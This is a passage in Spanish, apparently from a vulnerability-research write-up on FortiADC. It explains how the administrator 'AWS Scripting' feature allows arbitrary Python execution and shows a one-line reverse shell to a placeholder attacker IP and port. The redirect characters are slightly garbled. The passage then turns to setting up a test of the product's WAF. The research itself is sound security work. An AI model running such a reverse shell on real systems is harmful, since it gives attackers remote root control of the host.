Tras desplegar una instancia del producto, se analizaron sus componentes. Una de las primeras cosas que se identificó fue la denominada funcionalidad "AWS Scripting" que permite a un administrador realizar ciertas tareas de gestión cargando scripts Python y ejecutándolos:
"FortiADC proporciona el método para ejecutar cualquier API de AWS para los usuarios - Los usuarios pueden subir scripts Python a FortiADC (sistema > página AWS Scripting) con la configuración del grupo de tráfico y ejecutar el script en el FortiADC al que pertenezca su grupo de tráfico."
En otras palabras, esto significa que se permite a los usuarios ejecutar scripts Python arbitrarios en el servidor de aplicaciones. ¿Qué puede salir mal? Se puede abusar de esta funcionalidad cargando y ejecutando el siguiente script para generar un shell inverso en una máquina controlada por un atacante.
import os; os.system("bash -i >y /dev/tcp/<atacante-ip>/<puerto> 0>y1")
Se decidió no informar de este problema al proveedor, ya que formaba parte de la funcionalidad prevista a disposición del administrador, y se previó que el proveedor no lo consideraría una vulnerabilidad de seguridad. No obstante, dado que se comprobó que la interfaz de gestión SSH de FortiADC era bastante restringida y sólo proporcionaba una forma de interactuar con determinados componentes de la aplicación, obtener acceso al sistema operativo podría facilitar el análisis posterior de la aplicación. También cabe mencionar que la aplicación out-of-the-box se ejecuta como usuario root.
Conseguir la ejecución remota de comandos suele considerarse una joya de la corona cuando se trata de investigar vulnerabilidades. Por lo tanto, se intentó identificar formas de activarla desde la perspectiva de usuarios no autenticados. Sin embargo, dado que no se identificaron problemas de autenticación o autorización, se decidió pasar de atacar la propia interfaz de gestión a identificar fallos en la forma en que FortiADC gestiona las solicitudes a los recursos detrás del equilibrador de carga y el cortafuegos de aplicaciones web (WAF). Para ello, se desplegó por separado un servidor web sencillo y se configuró para que fuera gestionado por el equilibrador de carga FortiADC integrado. El componente WAF también se habilitó para el grupo de equilibrio de carga correspondiente. Se desplegó una aplicación web sencilla en el servidor web detrás del equilibrador de carga que sólo reflejaba los parámetros enviados con las solicitudes entrantes.